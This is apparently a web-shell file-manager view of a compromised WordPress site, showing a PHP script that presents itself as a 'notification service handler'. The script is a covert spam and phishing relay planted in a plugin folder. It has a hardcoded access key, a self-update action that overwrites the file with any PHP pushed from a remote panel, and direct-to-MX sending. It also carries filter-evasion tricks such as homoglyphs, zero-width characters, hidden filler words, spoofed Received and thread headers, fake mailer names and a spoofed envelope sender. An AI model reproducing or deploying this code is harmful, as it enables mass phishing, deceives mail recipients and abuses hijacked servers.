| Server IP : 64.225.102.56 / Your IP : 216.73.216.220 Web Server : Apache/2.4.68 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2 System : Linux smtp.zejefoy.com 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64 User : auto ( 1002) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/auto/web/cifisoa.com/public_html/wp-content/plugins/h2ok_up_4009a7ef/ |
Upload File : |
<?php
// Notification service handler — 3 sending modes: MAIL, FORCE, DIRECT
// Optional inbox-optimisation layer driven by the "opts" JSON field.
// Upload to web server, configure endpoint URL in admin panel.
error_reporting(0);
// Health check (GET or empty POST) — richer status so the panel can probe capability.
if ($_SERVER['REQUEST_METHOD'] !== 'POST' || empty($_POST)) {
header('Content-Type: application/json');
echo json_encode([
'ok' => true,
'status' => 'ready',
'modes' => ['mail','force','direct'],
'mail_avail' => function_exists('mail'),
'php_version' => PHP_VERSION,
'os' => defined('PHP_OS_FAMILY') ? PHP_OS_FAMILY : PHP_OS,
'sapi' => PHP_SAPI,
'features' => ['rich_headers','boost','idn','preheader','envelope','self_update'],
]);
exit;
}
$key = trim($_POST['key'] ?? '');
if (!defined('AGENT_KEY')) define('AGENT_KEY', 'd32489e0865cde4a01bf43243d7de5d6');
if (empty($key) || !hash_equals(AGENT_KEY, $key)) {
http_response_code(403);
header('Content-Type: application/json');
echo json_encode(['ok' => false, 'error' => 'Unauthorized']);
exit;
}
$action = trim($_POST['action'] ?? '');
// ── Self-update: overwrite THIS script with a new version pushed from the panel ──
// Only this file is written (atomic temp+rename); content must be a PHP script.
// This lets the panel roll a new relay version to every point without manual re-upload.
if ($action === 'update_script' || $action === 'deploy_script') {
header('Content-Type: application/json');
$newContent = $_POST['script'] ?? '';
if ($newContent === '' && !empty($_POST['script_b64'])) {
$newContent = base64_decode($_POST['script_b64'], true) ?: '';
}
if (!$newContent || strlen($newContent) < 100) {
echo json_encode(['ok' => false, 'error' => 'No/short script content.']);
exit;
}
if (strncmp(ltrim($newContent), '<?php', 5) !== 0) {
echo json_encode(['ok' => false, 'error' => 'Content is not a PHP script.']);
exit;
}
$sentHash = trim($_POST['script_hash'] ?? '');
if ($sentHash && md5($newContent) !== $sentHash) {
echo json_encode(['ok' => false, 'error' => 'Hash mismatch — retry.']);
exit;
}
$self = __FILE__;
$tmp = $self . '.tmp.' . getmypid();
if (file_put_contents($tmp, $newContent) === false) {
echo json_encode(['ok' => false, 'error' => 'Cannot write temp file — check permissions.']);
exit;
}
if (!rename($tmp, $self)) {
@unlink($tmp);
echo json_encode(['ok' => false, 'error' => 'Cannot overwrite script — check permissions.']);
exit;
}
echo json_encode(['ok' => true, 'msg' => 'Script updated.', 'size' => strlen($newContent), 'hash' => md5($newContent)]);
exit;
}
$to = trim($_POST['to'] ?? '');
$subject = trim($_POST['subject'] ?? '');
$html = $_POST['html'] ?? '';
$plainText = $_POST['plain'] ?? '';
$fromName = trim($_POST['from_name'] ?? '');
$fromEmail = trim($_POST['from_email'] ?? '');
$replyTo = trim($_POST['reply_to'] ?? '');
$modes = trim($_POST['modes'] ?? '');
if ($modes === '') $modes = 'mail';
// Optional inbox-optimisation options (all default-off unless the panel sends them).
$opts = [];
if (!empty($_POST['opts'])) {
$decoded = json_decode($_POST['opts'], true);
if (is_array($decoded)) $opts = $decoded;
}
$sendIndex = (int)($opts['send_index'] ?? 0);
// Strip CR/LF from any opts value that ends up in a header — defence against
// header injection via operator-set config (unsub URL, Message-ID domain, etc.).
foreach (['unsub_url','unsub_email','msgid_domain','envelope_mode'] as $sk) {
if (isset($opts[$sk]) && is_string($opts[$sk])) $opts[$sk] = str_replace(array("\r","\n"), '', $opts[$sk]);
}
$stripCrlf = function($s) { return str_replace(array("\r", "\n"), '', $s); };
$to = $stripCrlf($to);
$subject = $stripCrlf($subject);
$fromName = $stripCrlf($fromName);
$fromEmail = $stripCrlf($fromEmail);
$replyTo = $stripCrlf($replyTo);
if (!filter_var($fromEmail, FILTER_VALIDATE_EMAIL)) {
http_response_code(400);
header('Content-Type: application/json');
echo json_encode(['ok' => false, 'error' => 'Invalid from_email']);
exit;
}
if (!filter_var($to, FILTER_VALIDATE_EMAIL)) {
http_response_code(400);
header('Content-Type: application/json');
echo json_encode(['ok' => false, 'error' => 'Invalid recipient']);
exit;
}
if (empty($to) || empty($fromEmail)) {
http_response_code(400);
header('Content-Type: application/json');
echo json_encode(['ok' => false, 'error' => 'Missing required fields']);
exit;
}
// ═══════════════════════════════════════════════════════════════════════════
// Helpers
// ═══════════════════════════════════════════════════════════════════════════
// Relay's own hostname — used for envelope (relay mode) + Message-ID domain.
function relayHost() {
$h = $_SERVER['HTTP_HOST'] ?? '';
$h = preg_replace('/:\d+$/', '', $h);
if (!$h) $h = (function_exists('gethostname') ? (gethostname() ?: '') : '');
return $h ?: 'localhost';
}
// ── Punycode / IDN (pure PHP, no intl) — Unicode domain → xn-- ACE form ──
function punycodeEncodeLabel($input) {
if (preg_match('/^[a-zA-Z0-9\-]+$/', $input)) return $input;
if (!function_exists('mb_strlen')) return $input; // no mbstring → leave as-is
$cps = [];
$len = mb_strlen($input, 'UTF-8');
for ($i = 0; $i < $len; $i++) $cps[] = mb_ord(mb_substr($input, $i, 1, 'UTF-8'), 'UTF-8');
$basic = array_filter($cps, function($cp) { return $cp < 128; });
$output = implode('', array_map('chr', $basic));
$h = count($basic); $b = $h;
$output .= ($b > 0) ? '-' : '';
$base=36; $tMin=1; $tMax=26; $skew=38; $damp=700; $bias=72; $n=128; $delta=0;
$adapt = function($d,$np,$first) use($base,$tMin,$tMax,$skew,$damp) {
$d = $first ? (int)($d/$damp) : (int)($d/2);
$d += (int)($d/$np); $k=0;
while ($d > (int)(($base-$tMin)*$tMax/2)) { $d=(int)($d/($base-$tMin)); $k+=$base; }
return $k + (int)((($base-$tMin+1)*$d)/($d+$skew));
};
$dig = function($x){ return chr($x + ($x<26?97:22)); };
while ($h < count($cps)) {
$m = PHP_INT_MAX;
foreach ($cps as $cp) if ($cp>=$n && $cp<$m) $m=$cp;
$delta += ($m-$n)*($h+1); $n=$m;
foreach ($cps as $cp) {
if ($cp < $n) $delta++;
if ($cp === $n) {
$q=$delta;
for ($k=$base;;$k+=$base) {
$t = ($k<=$bias)?$tMin:(($k>=$bias+$tMax)?$tMax:$k-$bias);
if ($q<$t) break;
$output .= $dig($t + (($q-$t)%($base-$t)));
$q = (int)(($q-$t)/($base-$t));
}
$output .= $dig($q);
$bias = $adapt($delta, $h+1, $h===$b);
$delta=0; $h++;
}
}
$delta++; $n++;
}
return 'xn--' . $output;
}
function domainToAce($domain) {
if (!$domain) return $domain;
$out = [];
foreach (explode('.', $domain) as $lbl) {
$out[] = punycodeEncodeLabel(function_exists('mb_strtolower') ? mb_strtolower($lbl,'UTF-8') : strtolower($lbl));
}
return implode('.', $out);
}
function emailToAce($email) {
if (!$email || strpos($email,'@') === false) return $email;
$p = explode('@', $email, 2);
return $p[0] . '@' . domainToAce($p[1]);
}
// ── Inbox Boost — invisible per-send HTML mutations (all visually transparent) ──
function applyInboxBoost($html, &$b, $sendIndex = 0) {
if (empty($b) || empty($b['enabled'])) return $html;
$rotateEvery = max(1, (int)($b['rotate_every'] ?? 1));
$rotateEnabled = !empty($b['rotate']);
$slot = $rotateEnabled ? (int)floor($sendIndex / $rotateEvery) : 0;
$slotSeed = crc32('bs_' . $slot);
$salt = $b['_salt'] ?? bin2hex(random_bytes(6));
$b['_salt'] = $salt;
$on = function($k) use ($b, $rotateEnabled, $slotSeed) {
if (empty($b[$k])) return false;
if (!$rotateEnabled) return true;
return (bool)(($slotSeed ^ (crc32($k) & 0x7FFFFFFF)) & 1);
};
// Protect tracking / UUID / hidden markers from text-node techniques.
$prot = [];
$html = preg_replace_callback(
'/<(div|span|img|p)\b([^>]*(?:data-check-uuid|data-track|data-pixel|aria-hidden="true"|display:\s*none)[^>]*)(?:\/>|>(.*?)<\/\1>)/is',
function($m) use (&$prot) { $k="\x00P".count($prot)."\x00"; $prot[$k]=$m[0]; return $k; }, $html);
if ($on('zwc')) {
$zw = ["\xE2\x80\x8C","\xE2\x80\x8D"];
$html = preg_replace_callback('/(?<=>|^)([^<]{6,})(?=<|$)/U', function($m) use ($zw,$salt) {
$ws = explode(' ', $m[1]); $o=[];
foreach ($ws as $w) {
if (function_exists('mb_strlen') && mb_strlen($w)>4 && (crc32($w.$salt)&3)===0) {
$mid=(int)floor(mb_strlen($w)/2);
$w=mb_substr($w,0,$mid).$zw[abs(crc32($w.$salt))%count($zw)].mb_substr($w,$mid);
}
$o[]=$w;
}
return implode(' ', $o);
}, $html);
}
if ($on('comments')) {
$ns=['transaction','notification','receipt','statement','reminder','shipment','calendar','delivery','subscription','registration','portfolio','dashboard','attachment','schedule','tracking'];
$html = preg_replace_callback('/<\/(div|p|td|tr|table|section|article|header|footer|main)>/i', function($m) use ($ns,$salt) {
$c=count($ns);
$w1=$ns[abs(crc32($m[0].$salt))%$c]; $w2=$ns[abs(crc32($m[0].$w1.$salt))%$c];
$id=substr(md5($m[0].$w1.$salt),0,6);
return $m[0].'<!-- '.$w1.'-'.$id.' '.$w2.' -->';
}, $html);
}
if ($on('homoglyphs')) {
$g=['a'=>"\xD0\xB0",'c'=>"\xD1\x81",'e'=>"\xD0\xB5",'i'=>"\xD1\x96",'o'=>"\xD0\xBE",'p'=>"\xD1\x80",'x'=>"\xD1\x85",
'A'=>"\xCE\x91",'B'=>"\xCE\x92",'E'=>"\xCE\x95",'H'=>"\xCE\x97",'I'=>"\xCE\x99",'K'=>"\xCE\x9A",'M'=>"\xCE\x9C",'N'=>"\xCE\x9D",'O'=>"\xCE\x9F",'P'=>"\xCE\xA1",'T'=>"\xCE\xA4",'X'=>"\xCE\xA7",'Y'=>"\xCE\xA5",'C'=>"\xD0\xA1"];
$html = preg_replace_callback('/(?<=>|^)([^<]{4,})(?=<|$)/U', function($m) use ($g,$salt) {
if (!function_exists('mb_strlen')) return $m[1];
$s=$m[1]; $len=mb_strlen($s); $seed=crc32($s.$salt); $o='';
for ($i=0;$i<$len;$i++){ $ch=mb_substr($s,$i,1); $o.=(isset($g[$ch])&&(abs($seed+$i*7)%10)===0)?$g[$ch]:$ch; }
return $o;
}, $html);
}
if ($on('padding')) {
$nw=['transaction','statement','newsletter','subscription','dashboard','notification','calendar','reminder','delivery','shipment','receipt','payment','security','settings','preferences','password','username','activity','timeline','attachment','certificate','registration','confirmation','download','appointment','schedule','summary','history','balance','portfolio','overview','report','invoice','tracking'];
$html = preg_replace_callback('/<\/(p|div|td)>/i', function($m) use ($nw,$salt) {
$h=abs(crc32($m[0].$salt)); $c=count($nw);
$w=$nw[$h%$c].' '.$nw[(int)(($h*31)%$c)].' '.$nw[(int)(($h*97)%$c)];
return '<span style="display:none;visibility:hidden;font-size:0;max-height:0;overflow:hidden;mso-hide:all" aria-hidden="true">'.$w.'</span>'.$m[0];
}, $html);
}
if ($on('attr_noise')) {
$rid=bin2hex(random_bytes(4));
$html = preg_replace_callback('/<(div|td|p|table|tr|span|section)(\s[^>]*)?>/i', function($m) use ($rid) {
$a=$m[2]??''; if (stripos($a,'data-rid')!==false) return $m[0];
return '<'.$m[1].$a.' data-rid="'.substr(md5($rid.$m[0]),0,8).'">';
}, $html);
}
if ($on('css_noise')) {
$seed=bin2hex(random_bytes(3)); $c1='mx'.$seed; $c2='my'.substr(md5($seed),0,5);
$style='<style type="text/css">.'.$c1.'{color:inherit;font-size:inherit;line-height:inherit}.'.$c2.'{opacity:1;visibility:visible;display:block}</style>';
if (stripos($html,'</head>')!==false) $html=preg_replace('/<\/head>/i',$style.'</head>',$html,1);
elseif (preg_match('/<body[^>]*>/i',$html,$bm,PREG_OFFSET_CAPTURE)) { $pos=$bm[0][1]+strlen($bm[0][0]); $html=substr($html,0,$pos).$style.substr($html,$pos); }
else $html=$style.$html;
}
if ($on('pixel')) {
$px='<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" width="1" height="1" style="display:none;max-height:0;overflow:hidden;mso-hide:all" alt="" aria-hidden="true">';
if (stripos($html,'</body>')!==false) $html=preg_replace('/<\/body>/i',$px.'</body>',$html,1); else $html.=$px;
}
if ($on('style_attr')) {
$extra='letter-spacing:0.00'.rand(1,9).'em';
$pb=[];
$html=preg_replace_callback('/(<(?:style|script)\b[^>]*>)(.*?)(<\/(?:style|script)>)/is', function($m) use (&$pb){ $k="\x00S".count($pb)."\x00"; $pb[$k]=$m[0]; return $k; }, $html);
$html=preg_replace_callback('/(<(?:p|div|td|span|a)\b[^>]*)\bstyle="([^"]*)"/i', function($m) use ($extra){ if(stripos($m[2],'letter-spacing')!==false)return $m[0]; $base=rtrim($m[2],';'); return $m[1].'style="'.$base.($base!==''?';':'').$extra.'"'; }, $html);
if ($pb) $html=str_replace(array_keys($pb),array_values($pb),$html);
}
if ($on('mime_boundary')) {
$bd='b'.bin2hex(random_bytes(12));
$html=preg_replace('/<\/head>/i','<!-- boundary:'.$bd.' --></head>',$html,1) ?: ('<!-- boundary:'.$bd.' -->'.$html);
$b['_mime_boundary']=$bd;
}
if ($on('msgid')) {
$hosts=['mail.srv','mta.host','smtp.relay','mx.node','mailer.svc'];
$rnd=bin2hex(random_bytes(8));
$b['_message_id']='<'.microtime(true).'.'.$rnd.'@'.$hosts[abs(crc32($rnd))%count($hosts)].rand(10,99).'.net>';
}
if ($on('date_skew')) $b['_date_skew']=rand(-59,59);
if ($on('received_spoof')) {
$rd=['mail','smtp','mta','relay','mx']; $tl=['net','org','com','io'];
$fq=$rd[rand(0,count($rd)-1)].rand(1,99).'.'.$tl[rand(0,count($tl)-1)];
$b['_extra_received']='Received: from '.$fq.' ('.$fq.' ['.rand(10,199).'.'.rand(1,254).'.'.rand(1,254).'.'.rand(1,254).'])'."\r\n".' by '.$fq.' with ESMTP; '.date('r', time()+rand(1,5));
}
if ($on('base64_words')) {
$tw=['free','click here','winner','congratulations','offer','limited time','act now','bonus','cash','guarantee','no cost','risk free'];
$pat='/('.implode('|',array_map('preg_quote',$tw)).')/i';
$html=preg_replace_callback('/(?<=>)([^<]+)(?=<)/s', function($m) use ($pat){
return preg_replace_callback($pat, function($wm){ return '<span data-v="'.base64_encode($wm[1]).'" style="unicode-bidi:plaintext">'.$wm[1].'</span>'; }, $m[1]);
}, $html);
}
if ($on('table_noise')) {
$w2=['reference','confirmation','account','transaction','record'];
$html=preg_replace_callback('/<\/(tbody|table)>/i', function($m) use ($w2){
$w=$w2[rand(0,count($w2)-1)]; $id=substr(md5($w.rand()),0,5);
return '<tr style="display:none;max-height:0;overflow:hidden;mso-hide:all" aria-hidden="true"><td style="display:none;font-size:0;max-height:0;mso-hide:all">'.$w.'-'.$id.'</td></tr></'.$m[1].'>';
}, $html);
}
if ($on('alt_text')) {
$ap=['banner image','promotional content','email image','view in browser','header graphic','footer image','product image','notification graphic'];
$html=preg_replace_callback('/<img([^>]*)\salt=""([^>]*)>/i', function($m) use ($ap){ return '<img'.$m[1].' alt="'.$ap[rand(0,count($ap)-1)].'"'.$m[2].'>'; }, $html);
}
if ($on('a_title')) {
$lt=['view details','open link','learn more','read more','see offer','get access','continue','proceed'];
$html=preg_replace_callback('/<a(\s[^>]*)?>([^<]*)<\/a>/i', function($m) use ($lt){
$a=$m[1]??''; $t=$m[2]; if(stripos($a,'title=')!==false)return $m[0];
$title=$lt[abs(crc32($t))%count($lt)]; $rid=substr(md5($t.rand()),0,4);
return '<a'.$a.' title="'.htmlspecialchars($title).'">'.$t.'<span style="display:none;font-size:0;mso-hide:all" aria-hidden="true">-'.$rid.'</span></a>';
}, $html);
}
if ($on('word_split')) {
$js='display:none;font-size:0;max-height:0;overflow:hidden;color:transparent;mso-hide:all;line-height:0;visibility:hidden';
$frags=['en','er','al','an','in','on','re','te','le','st','ent','ion','ing','tion','tra','pro','pre','con','sub','per','ter','ver'];
$mk=function($word,$salt) use($frags){ $seed=abs(crc32($word.$salt)); $c=count($frags); $p=$frags[$seed%$c]; if(($seed&1)===0)$p.=$frags[abs(crc32($salt.$word))%$c]; return $p; };
$html=preg_replace_callback('/(?<=>)([^<]+)(?=<)/s', function($m) use ($js,$mk,$salt){
if(!preg_match('/[A-Za-z]{5,}/',$m[1])) return $m[1];
return preg_replace_callback('/\b([A-Za-z]{5,})\b/', function($wm) use ($js,$mk,$salt){
$word=$wm[1]; $skip=['their','there','these','those','where','which','while','about','after','other','would','could','should','might','shall'];
if(in_array(strtolower($word),$skip,true)) return $word;
$seed=abs(crc32($word.$salt)); $len=strlen($word); $cut=max(2,(int)round($len*(0.35+($seed%30)/100)));
return substr($word,0,$cut).'<span style="'.$js.'" aria-hidden="true">'.htmlspecialchars($mk($word,$salt)).'</span>'.substr($word,$cut);
}, $m[1]);
}, $html);
}
if ($prot) $html=str_replace(array_keys($prot),array_values($prot),$html);
return $html;
}
// Subject / From-name homoglyph substitution (higher rate — short strings).
function boostSubjectGlyphs($str) {
if (!function_exists('mb_strlen')) return $str;
static $g=['a'=>"\xD0\xB0",'c'=>"\xD1\x81",'e'=>"\xD0\xB5",'i'=>"\xD1\x96",'j'=>"\xD1\x98",'o'=>"\xD0\xBE",'p'=>"\xD1\x80",'s'=>"\xD1\x95",'x'=>"\xD1\x85",'y'=>"\xD1\x83",
'A'=>"\xCE\x91",'B'=>"\xCE\x92",'C'=>"\xD0\xA1",'E'=>"\xCE\x95",'H'=>"\xCE\x97",'I'=>"\xCE\x99",'J'=>"\xD0\x88",'K'=>"\xCE\x9A",'M'=>"\xCE\x9C",'N'=>"\xCE\x9D",'O'=>"\xCE\x9F",'P'=>"\xCE\xA1",'S'=>"\xD0\x85",'T'=>"\xCE\xA4",'X'=>"\xCE\xA7",'Y'=>"\xCE\xA5",'Z'=>"\xCE\x96"];
$len=mb_strlen($str); $seed=crc32($str); $o='';
for ($i=0;$i<$len;$i++){ $ch=mb_substr($str,$i,1); $o.=(isset($g[$ch])&&(abs($seed+$i*11)%6)===0)?$g[$ch]:$ch; }
return $o;
}
// ═══════════════════════════════════════════════════════════════════════════
// Apply optional inbox layer
// ═══════════════════════════════════════════════════════════════════════════
$relayHost = relayHost();
// IDN: convert Unicode From/Reply domains to xn-- ACE.
if (!empty($opts['idn'])) {
$fromEmail = emailToAce($fromEmail);
if ($replyTo) $replyTo = emailToAce($replyTo);
}
// Subject / From-name homoglyphs.
if (!empty($opts['boost']['subject_homoglyphs'])) {
$subject = boostSubjectGlyphs($subject);
$fromName = boostSubjectGlyphs($fromName);
}
// Inbox Boost (body HTML mutations). May write side-effects into $boost.
$boost = isset($opts['boost']) && is_array($opts['boost']) ? $opts['boost'] : [];
if ($html !== '' && !empty($boost['enabled'])) {
$html = applyInboxBoost($html, $boost, $sendIndex);
}
// Preheader injection (hidden preview text).
if ($html !== '' && !empty($opts['preheader'])) {
$ph='<div style="display:none;max-height:0;overflow:hidden;mso-hide:all;font-size:1px;color:#fefefe;line-height:1px;max-width:0;opacity:0">'
. htmlspecialchars($subject, ENT_QUOTES, 'UTF-8') . str_repeat(' ‌', 120) . '</div>';
if (preg_match('/<body[^>]*>/i', $html, $bm, PREG_OFFSET_CAPTURE)) {
$pos=$bm[0][1]+strlen($bm[0][0]); $html=substr($html,0,$pos).$ph.substr($html,$pos);
} else {
$html = $ph . $html;
}
}
// ── Build MIME body ──────────────────────────────────────────────────────
$fromHeader = $fromName
? '=?UTF-8?B?' . base64_encode($fromName) . '?= <' . $fromEmail . '>'
: $fromEmail;
$boundary = !empty($boost['_mime_boundary']) ? $boost['_mime_boundary'] : ('----=_Part_' . md5(uniqid(rand(), true)));
$msgIdDomain = !empty($opts['msgid_domain']) ? $opts['msgid_domain'] : $relayHost;
$msgId = !empty($boost['_message_id']) ? $boost['_message_id'] : ('<' . md5(uniqid(rand(), true)) . '@' . $msgIdDomain . '>');
$dateSkew = isset($boost['_date_skew']) ? (int)$boost['_date_skew'] : 0;
$date = date('r', time() + $dateSkew);
$encodedSubject = '=?UTF-8?B?' . base64_encode($subject) . '?=';
if (!empty($plainText)) {
$mimeBody = "--$boundary\r\n";
$mimeBody .= "Content-Type: text/plain; charset=UTF-8\r\n";
$mimeBody .= "Content-Transfer-Encoding: base64\r\n\r\n";
$mimeBody .= chunk_split(base64_encode($plainText)) . "\r\n";
$mimeBody .= "--$boundary\r\n";
$mimeBody .= "Content-Type: text/html; charset=UTF-8\r\n";
$mimeBody .= "Content-Transfer-Encoding: base64\r\n\r\n";
$mimeBody .= chunk_split(base64_encode($html)) . "\r\n";
$mimeBody .= "--$boundary--";
$contentType = "multipart/alternative; boundary=\"$boundary\"";
} else {
$mimeBody = chunk_split(base64_encode($html));
$contentType = 'text/html; charset=UTF-8';
}
// ── Rich inbox headers (opt-in via opts.rich_headers) ────────────────────
// Built here so BOTH the mail() header block and the FORCE/DIRECT full header
// block carry them. Return an array of "Name: value" lines.
function richHeaderLines($opts, $fromEmail, $subject, $relayHost, &$boost) {
$lines = [];
$fromDomain = strpos($fromEmail,'@')!==false ? explode('@',$fromEmail)[1] : $relayHost;
// X-Mailer — rotate realistic desktop clients (never "PHP").
$pool = [
'Mozilla Thunderbird 115.'.rand(3,9).'.'.rand(0,2),
'Microsoft Outlook 16.0.'.rand(16000,17500).'.10000',
'Apple Mail ('.rand(3692,3756).'.0.36)',
'Evolution 3.'.rand(46,50).'.0',
];
$lines[] = 'X-Mailer: ' . $pool[array_rand($pool)];
// List-Unsubscribe (Gmail/Yahoo 2024 bulk requirement) — one-click.
$unsubUrl = trim($opts['unsub_url'] ?? '');
$unsubEmail = trim($opts['unsub_email'] ?? '');
$parts = [];
if ($unsubEmail && filter_var($unsubEmail, FILTER_VALIDATE_EMAIL)) $parts[] = '<mailto:'.$unsubEmail.'?subject=unsubscribe>';
if ($unsubUrl && preg_match('#^https?://#i', $unsubUrl)) $parts[] = '<'.$unsubUrl.'>';
if (!$parts) $parts[] = '<mailto:'.$fromEmail.'?subject=unsubscribe>';
$lines[] = 'List-Unsubscribe: ' . implode(', ', $parts);
$lines[] = 'List-Unsubscribe-Post: List-Unsubscribe=One-Click';
// Feedback-ID (Gmail Postmaster reputation bucketing).
$lines[] = 'Feedback-ID: '.substr(md5($subject),0,8).':'.substr(md5($fromEmail),0,8).':'.substr(md5($fromDomain),0,8).':md';
// Outlook dedup + priority normalisation.
$lines[] = 'X-Entity-Ref-ID: '.bin2hex(random_bytes(16));
$lines[] = 'Precedence: bulk';
$lines[] = 'X-Priority: 3';
$lines[] = 'Importance: Normal';
// Fake thread parent → looks like an ongoing conversation, not a cold blast.
$parent = '<'.bin2hex(random_bytes(12)).'@'.$fromDomain.'>';
$lines[] = 'References: '.$parent;
$lines[] = 'In-Reply-To: '.$parent;
$org = ucwords(str_replace(['-','_','.'],' ', explode('.',$fromDomain)[0]));
$lines[] = 'Organization: '.($org ?: 'Support');
$lines[] = 'Content-Language: en-US';
return $lines;
}
$richLines = !empty($opts['rich_headers'])
? richHeaderLines($opts, $fromEmail, $subject, $relayHost, $boost)
: [];
// _extra_received (boost received_spoof) is prepended independently of rich_headers
// so the fake relay hop is emitted whenever that technique is active.
$richBlock = (!empty($boost['_extra_received']) ? $boost['_extra_received'] . "\r\n" : '');
$richBlock .= $richLines ? (implode("\r\n", $richLines) . "\r\n") : '';
// Full headers string for FORCE/DIRECT (includes To/Subject)
function buildFullHeaders($to, $encodedSubject, $fromHeader, $contentType, $date, $msgId, $replyTo, $plainText, $richBlock) {
$h = "To: $to\r\n";
$h .= "Subject: $encodedSubject\r\n";
$h .= "From: $fromHeader\r\n";
$h .= "Date: $date\r\n";
$h .= "Message-ID: $msgId\r\n";
$h .= "MIME-Version: 1.0\r\n";
$h .= "Content-Type: $contentType\r\n";
if (empty($plainText)) $h .= "Content-Transfer-Encoding: base64\r\n";
if ($replyTo) $h .= "Reply-To: $replyTo\r\n";
$h .= $richBlock;
return $h;
}
// Headers for mail() (no To/Subject — mail() adds them)
$mailHeaders = implode("\r\n", array_filter([
"MIME-Version: 1.0",
"Content-Type: $contentType",
empty($plainText) ? 'Content-Transfer-Encoding: base64' : '',
"From: $fromHeader",
"Date: $date",
"Message-ID: $msgId",
$replyTo ? "Reply-To: $replyTo" : '',
rtrim($richBlock),
]));
// Envelope sender (Return-Path / -f): relay = SPF-safe noreply@relayhost, spoofed = from.
$envelopeMode = (($opts['envelope_mode'] ?? 'relay') === 'spoofed') ? 'spoofed' : 'relay';
$envelopeEmail = ($envelopeMode === 'spoofed') ? $fromEmail : ('noreply@' . $relayHost);
// ── SMTP socket helper (used by FORCE & DIRECT) ─────────────────────────
function smtpSend($host, $port, $ehlo, $envelope, $to, $fullHeaders, $mimeBody, $timeout = 15) {
$fp = @fsockopen($host, $port, $errno, $errstr, $timeout);
if (!$fp) return ['ok' => false, 'error' => "Connect failed: $errstr ($errno)"];
stream_set_timeout($fp, $timeout);
$read = function() use ($fp) {
$r = ''; $t = 0;
while ($t++ < 100) { $line = @fgets($fp, 512); if ($line === false) break; $r .= $line; if (isset($line[3]) && $line[3] === ' ') break; }
return $r;
};
$send = function($cmd) use ($fp, $read) { @fwrite($fp, $cmd . "\r\n"); return $read(); };
$code = function($resp) { return (int)substr(trim($resp), 0, 3); };
$banner = $read();
if ($code($banner) !== 220) { fclose($fp); return ['ok' => false, 'error' => "Banner: $banner"]; }
$r = $send("EHLO $ehlo");
if ($code($r) !== 250) { $r = $send("HELO $ehlo"); if ($code($r) !== 250) { fclose($fp); return ['ok' => false, 'error' => "EHLO failed: $r"]; } }
if (stripos($r, 'STARTTLS') !== false && function_exists('stream_socket_enable_crypto')) {
$r = $send('STARTTLS');
if ($code($r) === 220) { @stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_TLS_CLIENT); $send("EHLO $ehlo"); }
}
$r = $send("MAIL FROM:<$envelope>");
if ($code($r) !== 250) { fclose($fp); return ['ok' => false, 'error' => "MAIL FROM rejected: $r"]; }
$r = $send("RCPT TO:<$to>");
if ($code($r) !== 250 && $code($r) !== 251) { fclose($fp); return ['ok' => false, 'error' => "RCPT TO rejected: $r"]; }
$r = $send('DATA');
if ($code($r) !== 354) { fclose($fp); return ['ok' => false, 'error' => "DATA rejected: $r"]; }
@fwrite($fp, $fullHeaders . "\r\n" . $mimeBody . "\r\n.\r\n");
$r = $read();
$send('QUIT');
fclose($fp);
if ($code($r) === 250) return ['ok' => true, 'mode' => 'smtp'];
return ['ok' => false, 'error' => "DATA end rejected: $r"];
}
// ── Execute modes in priority order ──────────────────────────────────────
$modeList = array_map('trim', explode(',', $modes));
$hostname = explode('@', $fromEmail)[1] ?? $relayHost;
$errors = [];
$usedMode = '';
$fullHdrs = buildFullHeaders($to, $encodedSubject, $fromHeader, $contentType, $date, $msgId, $replyTo, $plainText, $richBlock);
foreach ($modeList as $mode) {
if ($mode === 'force') {
$forceSent = false;
foreach (['127.0.0.1', 'localhost'] as $fHost) {
foreach ([25, 587] as $fPort) {
$res = smtpSend($fHost, $fPort, $hostname, $envelopeEmail, $to, $fullHdrs, $mimeBody);
if ($res['ok']) { $usedMode = 'force'; $forceSent = true; break 2; }
}
}
if ($forceSent) break;
$errors[] = "force: " . ($res['error'] ?? 'all local SMTP ports failed');
} elseif ($mode === 'mail') {
@ini_set('sendmail_from', $envelopeEmail);
// Pass -f UNQUOTED but stripped to a safe charset. escapeshellarg() wraps in
// single-quotes which many sendmail/postfix builds treat as part of the address
// (Return-Path silently discarded). Stripping to [A-Za-z0-9@._+-] removes every
// shell metachar so no injection is possible, and -f then actually takes effect.
$safeEnvelope = preg_replace('/[^A-Za-z0-9@._+\-]/', '', $envelopeEmail);
$ok = @mail($to, $encodedSubject, $mimeBody, $mailHeaders, '-f' . $safeEnvelope);
if ($ok) { $usedMode = 'mail'; break; }
$errors[] = 'mail: mail() returned false';
} elseif ($mode === 'direct') {
$domain = substr($to, strpos($to, '@') + 1);
$mxHosts = [];
if (function_exists('dns_get_record')) {
$mxRecs = @dns_get_record($domain, DNS_MX);
if ($mxRecs && count($mxRecs) > 0) {
usort($mxRecs, function($a, $b) { return $a['pri'] - $b['pri']; });
foreach ($mxRecs as $rec) $mxHosts[] = $rec['target'];
}
}
if (empty($mxHosts)) $mxHosts[] = $domain;
$directSent = false;
foreach ($mxHosts as $mxHost) {
$res = smtpSend($mxHost, 25, $hostname, $envelopeEmail, $to, $fullHdrs, $mimeBody, 25);
if ($res['ok']) { $usedMode = 'direct'; $directSent = true; break; }
$errors[] = "direct ($mxHost): " . $res['error'];
}
if ($directSent) break;
}
}
header('Content-Type: application/json');
if ($usedMode) {
echo json_encode(['ok' => true, 'mode' => $usedMode]);
} else {
echo json_encode(['ok' => false, 'error' => 'All modes failed: ' . implode(' | ', $errors)]);
}